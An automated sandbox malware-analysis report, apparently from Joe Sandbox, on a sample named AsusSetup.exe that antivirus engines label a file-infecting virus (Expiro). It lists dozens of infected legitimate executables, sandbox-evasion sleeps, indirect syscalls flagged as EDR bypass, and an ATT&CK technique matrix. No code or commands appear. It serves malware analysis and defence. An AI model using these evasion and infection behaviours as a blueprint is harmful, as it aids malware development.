Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D25346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	10_2_00D25346
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_00995346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	11_2_00995346
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_00C05346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	12_2_00C05346

Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AsusSetup.exe	Dropped PE file which has not been started: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_11-3883
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_12-3727
Source: C:\Windows\System32\FXSSVC.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_10-3893
Source: C:\Windows\System32\AppVClient.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_7-3883
Source: C:\Users\user\Desktop\AsusSetup.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-5708

Source: C:\Users\user\Desktop\AsusSetup.exe TID: 6192	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 1776	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 2928	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 1776	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\alg.exe

Last function: Thread delayed

Source: C:\Windows\System32\alg.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: AsusSetup.exe, 00000000.00000002.2471426702.00000000004B4000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000003.2203010728.00000000004CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWBox\o}
Source: AsusSetup.exe, 00000000.00000003.2202574488.0000000000550000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000003.2170372630.0000000000550000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.0000000000550000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2693383096.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2903488909.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2725026412.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2179107038.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2864295525.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2610742112.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2197772350.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AppVClient.exe, 00000007.00000003.2166301848.0000000000500000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2166984479.000000000052F000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2166643153.000000000051A000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000002.2170606163.0000000000530000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2166366336.0000000000517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachine
Source: AsusSetup.exe, 00000000.00000003.2202574488.00000000004ED000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.00000000004F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Source: C:\Users\user\Desktop\AsusSetup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\alg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TST557F.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TST5580.tmp VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\AsusSetup.exe

Code function: 0_2_00000001401CB8F4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00000001401CB8F4

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	2 LSASS Driver	1 Process Injection	222 Masquerading	OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 LSASS Driver	1 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
AsusSetup.exe	74%	ReversingLabs	Win64.Virus.Expiro
AsusSetup.exe	100%	Avira	W32/Infector.Gen
AsusSetup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Infector.Gen
